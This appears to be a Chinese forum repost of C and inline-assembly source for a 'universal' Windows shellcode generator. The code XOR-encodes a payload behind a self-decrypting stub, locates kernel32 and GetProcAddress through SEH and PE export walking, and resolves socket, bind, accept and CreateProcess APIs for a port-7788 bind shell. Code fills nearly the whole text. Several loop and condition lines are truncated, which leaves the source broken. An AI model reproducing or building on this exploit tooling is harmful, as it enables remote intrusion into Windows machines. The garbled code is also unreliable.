前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!
?
这个是通用的shellcode,自己在vc++下编译一下!
/*
??????????? 使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local
*/
#include
#include
#include
#define? DEBUG 1
//
//函数原型
//
void???? DecryptSc();
void???? ShellCodes();
void???? PrintSc(char *lpBuff, int buffsize);
//
//用到的部分定义
//
#define? BEGINSTRLEN??? 0x08??? //开始字符串长度
#define? ENDSTRLEN????? 0x08??? //结束标记字符的长度
#define? nop_CODE?????? 0x90??? //填充字符
#define? nop_LEN??????? 0x0???? //ShellCode起始的填充长度
#define? BUFFSIZE?????? 0x20000 //输出缓冲区大小
#define? sc_PORT??????? 7788??? //绑定端口号 0x1e6c
#define? sc_BUFFSIZE??? 0x2000? //ShellCode缓冲区大小
#define? Enc_key??????? 0x7A??? //编码密钥
#define? MAX_Enc_Len??? 0x400?? //加密代码的最大长度 1024足够?
#define? MAX_Sc_Len???? 0x2000? //hellCode的最大长度 8192足够?
#define? MAX_api_strlen 0x400?? //APIstr字符串的长度
#define? API_endstr???? "strend"//API结尾标记字符串???
#define? API_endstrlen? 0x06??? //标记字符串长度
#define PROC_BEGIN __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90?????????????????? __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{?????? //Kernel32
??????????? _CreatePipe,
??????????? _CreateProcessA,
??????????? _CloseHandle,
??????????? _PeekNamedPipe,
??????????? _ReadFile,
??????????? _WriteFile,
??????????? _ExitProcess,
??????????? //WS2_32
??????????? _socket,
??????????? _bind,
??????????? _listen,
??????????? _accept,
??????????? _send,
??????????? _recv,
??????????? _ioctlsocket,
??????????? _closesocket,
??????????? //本机测试User32
??????????? _MessageBeep,
??????????? _MessageBoxA,
??????????? API_num
};
//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
? //shellcode中要用到的字符串
? static char ApiStr[]="\x1e\x6c"?? //端口地址
??????????? //Kernel32的API函数名称
??????????? "CreatePipe""\x0"
??????????? "CreateProcessA""\x0"
??????????? "CloseHandle""\x0"
??????????? "PeekNamedPipe""\x0"
??????????? "ReadFile""\x0"
??????????? "WriteFile""\x0"
??????????? "ExitProcess""\x0"
??????????? //其它API中用到的API
??????????? "wsock32.dll""\x0"
??????????? "socket""\x0"
??????????? "bind""\x0"
??????????? "listen""\x0"
??????????? "accept""\x0"
??????????? "send""\x0"
??????????? "recv""\x0"
??????????? "ioctlsocket""\x0"
??????????? "closesocket""\x0"
??????????? //本机测试
??????????? "user32.dll""\x0"
??????????? "MessageBeep""\x0"
??????????? "MessageBoxA""\x0"
??????????? "\x0\x0\x0\x0\x0"
??????????? "strend";
? char? *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";? //标记开始的字符串
? char? *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";? //标记结束的字符串
? char? buff[BUFFSIZE];???????? //缓冲区
? char? sc_buff[sc_BUFFSIZE];?? //ShellCodes缓冲
? char? *pDcrypt_addr,
??????? *pSc_addr;
? int?? buff_len;?????????????? //缓冲长度
? int?? EncCode_len;??????????? //加密编码代码长度
? int?? Sc_len;???????????????? //原始ShellCode的长度
? int?????? i,k;
? unsigned? char ch;
? //
? //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
? //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
? //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
? //
? pDcrypt_addr=(char *)DecryptSc;
? //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
? //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试
? ch=*pDcrypt_addr;
? if (ch==0xe9)
? {
????? pDcrypt_addr++;
????? i=*(int *)pDcrypt_addr;
????? pDcrypt_addr+=(i+4);????? //此时指向函数的实际地址
? }
? //找到解码代码的开始部分
? for(k=0;k
? if (k
? else
? {
????? //显示错误信息
????? k=0;
????? printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
????? return 0;
? }
? for(k=0;k
? if (k
? else
? {
????? k=0;
????? printf("\nNo End str defined in Decrypt function!Please Check....\n");
????? return 0;
? }
? memset(buff,nop_CODE,BUFFSIZE);?????????????????????? //缓冲区填充
? memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);??????? //把DecryptSc代码复制进buff
? //
? //处理ShellCode代码,如果需要定位到代码的开始
? //
? pSc_addr=(char *)ShellCodes;???? //shellcode的地址
? //调试状态下的函数地址处理,便于调试
? ch=*pSc_addr;
? if (ch==0xe9)
? {
????? pSc_addr++;
????? i=*(int *)pSc_addr;
????? pSc_addr+=(i+4);????? //此时指向函数的实际地址
? }
? //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
? /*
? for (k=0;k
? if (k
? */
? //找到shellcode的结尾及长度
? for(k=0;k
? if (k
? else
? {
????? k=0;
????? printf("\nNo End str defined in ShellCodes function!Please Check....\n");
????? return 0;
? }
? //把shellcode代码复制进sc_buff
? memcpy(sc_buff,pSc_addr,Sc_len);
? //把字符串拷贝在shellcode的结尾
? for(i=0;i
? if(i=MAX_api_strlen)
? {
????? printf("\nNo End str defined in API strings!Please Check....\n");
????? return 0;
? }
? memcpy(sc_buff+k,ApiStr,i);
? Sc_len+=i;??????? //增加shellcode的长度
? //
? //对shellcode进行编码算法简单,可根据需要改变
? //
? k=EncCode_len+nop_LEN;??? //定位缓冲区应存放ShellCode地址的开始
? for(i=0;i
???? ch=sc_buff[i]^Enc_key;
???? //对一些可能造成shellcode失效的字符进行替换
???? if(ch
???? {
??????? buff[k]='0';
??????? ++k;
??????? ch+=0x31;
???? }
???? //把编码过的shellcode放在DecryptSc代码后面
???? buff[k]=ch;
???? ++k;
? }
? //shellcode的总长度
? buff_len=k;
? //打印出shellcode
? PrintSc(buff,buff_len);
? //buff[buff_len]=0;
? //printf("%s",buff);
#ifdef DEBUG
? _asm{
????? lea eax,buff
????? jmp eax
????? ret
? }
#endif
??? return? 0;
}
//解码shellcode的代码
void? DecryptSc()
{
?????? __asm{
/////////////////////////
//定义开始标志
/////////////////////////
????????? PROC_BEGIN??? //C macro to begin proc
????????? jmp?? next
getEncCodeAddr:
????????? pop?? edi
????????? push? edi
????????? pop?? esi
????????? xor?? ecx,ecx
Decrypt_lop:
????????? lodsb
????????? cmp? al,cl
????????? jz?? shell
????????? cmp? al,0x30? //判断是否为特殊字符
????????? jz?? special_char_clean
store:?????
????????? xor? al,Enc_key
????????? stosb
????????? jmp? Decrypt_lop
special_char_clean:??
????????? lodsb
????????? sub al,0x31
????????? jmp store
next:????
????????? call? getEncCodeAddr
????????? //其余真正加密的shellcode代码会连接在此处
shell:???
/////////////////////////
//定义结束标志
/////////////////////////
????????? PROC_END????? //C macro to end proc
????????? }
}????????
//
//shellcode代码
//
void ShellCodes()
{
??? //API低址数组???
??? FARPROC???? API[API_num];
??? //自己获取的API地址
??? FARPROC???? GetProcAddr;
??? FARPROC??? LoadLib;
??? HANDLE????? hKrnl32;
??? HANDLE????? libhandle;
??? char??????? *ApiStr_addr,*p;
???
??? int???????? k;
??? u_short???? shellcodeport;
??? //测试用变量
??? char??????? *testAddr;
/*
??? STARTUPINFO siinfo;
??? SOCKET????? listenFD,clientFD;
??? struct????? sockaddr_in server;
??? int???????? iAddrSize = sizeof(server);
??? int???????? lBytesRead;
??? PROCESS_INFORMATION ProcessInformation;
??? HANDLE????? hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
??? SECURITY_ATTRIBUTES sa;
*/
_asm {
??????? jmp??? locate_addr0
getApiStr_addr:
??????? pop??? ApiStr_addr
??????? //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
??????? //以后就可以方便地获取任何API的地址了
??????? //保护寄存器
??????? pushad
??? xor???? esi,esi
??????? lods??? dword ptr fs:[esi]
???????
Search_Krnl32_lop:
??????? inc???? eax
??????? je????? Krnl32_Base_Ok
??????? dec???? eax
??????? xchg??? esi,eax
??????? LODSD?
??????? jmp???? Search_Krnl32_lop
Krnl32_Base_Ok:
??????? LODSD??????????????????
??????????????????????????????? ;compare if PE_hdr
??????? xchg??? esi,eax
??? find_pe_header:
??????? dec???? esi
??????? xor???? si,si?????????? ;kernel32 is 64kb align
??????? mov???? eax,[esi]
??????? add???? ax,-'ZM'??????? ;??????
??????? jne???? find_pe_header
??????? mov???? edi,[esi+3ch]?? ;.e_lfanew???????
??????? mov???? eax,[esi+edi]
??????? add???? eax,-'EP'?????? ;anti heuristic change this if you are using MASM etc.????
??????? jne???? find_pe_header?
???????
??????? push???? esi
??????????????????????????????? ;esi=VA Kernel32.BASE
??????????????????????????????? ;edi=RVA K32.pehdr???????
??????? mov???? ebx,esi
??????? mov???? edi,[ebx+edi+78h]? ;peh.DataDirectory
???????
??????? push??? edi
??????? push??? esi
??????? mov???? eax,[ebx+edi+20h]? ;peexc.AddressOfNames????????????????
??????? mov???? edx,[ebx+edi+24h]? ;peexc.AddressOfNameOrdinals?????
??????? call??? __getProcAddr
??????? _emit 0x47
??????? _emit 0x65
??????? _emit 0x74
??????? _emit 0x50
??????? _emit 0x72
??????? _emit 0x6F
??????? _emit 0x63
??????? _emit 0x41
??????? _emit 0x64
??????? _emit 0x64
??????? _emit 0x72
??????? _emit 0x65
??????? _emit 0x73
??????? _emit 0x73
??????? _emit 0x0
??????? //db???? "GetProcAddress",0
__getProcAddr:
??????? pop???? edi
??????? mov???? ecx,15???????
??????? sub???? eax,4
next_:???????
??????? add???? eax,4
??????? add???? edi,ecx
??????? sub???? edi,15
??????? mov???? esi,[ebx+eax]
??????? add???? esi,ebx
??????? mov???? ecx,15
??????? repz??? cmpsb
??????? jnz???? next_
??????? pop???? esi
??????? pop???? edi
??????? sub???? eax,[ebx+edi+20h]????? ;peexc.AddressOfNames
??????? shr???? eax,1
??????? add???? edx,ebx
??????? movzx?? eax,word ptr [edx+eax]???????
??????? add???? esi,[ebx+edi+1ch]?????? ;peexc.AddressOfFunctions
??????? add???? ebx,[esi+eax*4]???????? ;ebx=Kernel32.GetProcAddress.addr
??????????????????????????????????????? ;use GetProcAddress and hModule to get other func
??????? pop???? esi???????????????????? ;esi=kernel32 Base
??????? mov???? [hKrnl32],esi?????????? //保存
??????? mov???? [GetProcAddr],ebx?????? //保存
??????? call??? _getLoadLib
??????? _emit 0x4C
??????? _emit 0x6F
??????? _emit 0x61
??????? _emit 0x64
??????? _emit 0x4C
??????? _emit 0x69
??????? _emit 0x62
??????? _emit 0x72
??????? _emit 0x61
??????? _emit 0x72
??????? _emit 0x79
??????? _emit 0x41
??????? _emit 0x0
??????? //db????? "LoadLibraryA",0
???????
_getLoadLib:
??????? push??? esi
??????? call??? ebx
??????? mov???? [LoadLib],eax
??????? //恢复寄存器,避免更多问题
??????? popad
??? }
?? //取出定义的端口地址
?? shellcodeport=*(u_short *)ApiStr_addr;
?? ApiStr_addr+=2;
??
?? ////////////////////////////////测试用
??? testAddr=ApiStr_addr;
?? ////////////////////////////////////
?? //利用GetProcAddress来获得shellcode中所用到的API地址
?? libhandle=hKrnl32;
?? p=ApiStr_addr;
?? k=0;
?? ///*
?? while ( *((unsigned int *)p) != 0)
?? {
?????? ApiStr_addr=p;
?????? while(*p) p++;?? //前进到下一个字符串
?????? if (*( (unsigned int *)(p-4))=='lld.')
?????? {
?????????? libhandle=(HANDLE)LoadLib(ApiStr_addr);? //若为DLL则加载DLL
?????? }
?????? else
?????? {
?????????? API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
?????????? k++;
?????? }
??????
?????? ApiStr_addr=++p; //更新指针前进一个字符位置
??????
?? }
??
?? //*/
///////////////////////////////////////////////////////////////////////////
//???????? 下面就可以使用C语言来编写真正实现功能的shellcode了??????????????? //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//?????????????????????????? shellcode功能部分结束?????????????????????? //
///////////////////////////////////////////////////////////////////////////
//死循环
die:??
??? goto die;
__asm
??? {
locate_addr0:?
?????????? call getApiStr_addr????? //5 bytes
//真正的字符串数据要连接在此处
???
?
/////////////////////////
//定义结束标志
/////////////////////////
????????? PROC_END????? //C macro to end proc
??????
???? }
}
//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
??? int i,j;
??? char *p;
??? char msg[4];
??? for(i=0;i
??? {
??????? if((i%16)==0)
??????????? if(i!=0)
??????????????? printf("\"\n\"");
??????????? else
??????????????? printf("\"");
??????? sprintf(msg,"\x%.2X",lpBuff[i]&0xff);
??????? for( p = msg, j=0; j
??????? {
??????????? if(isupper(*p))
??????????????? printf("%c", _tolower(*p));
??????????? else
??????????????? printf("%c", p[0]);
??????? }
??? }
??? printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}
总结一下:
寻找kernel和api函数地址的定位
1.基本的:暴力获取地址空间;
2.从peb相关数据获取(参考:绿盟月刊44期scz的《通过teb/peb枚举当前进程空间中用户模块列表》)
3.搜索进程的seh链表获取kernel32.UnheadleExceptionFilter地址;
虽然这些对于我来说还是模棱两可的,但是俗话说:“温故而知新”,要经常温故阿!经常学习!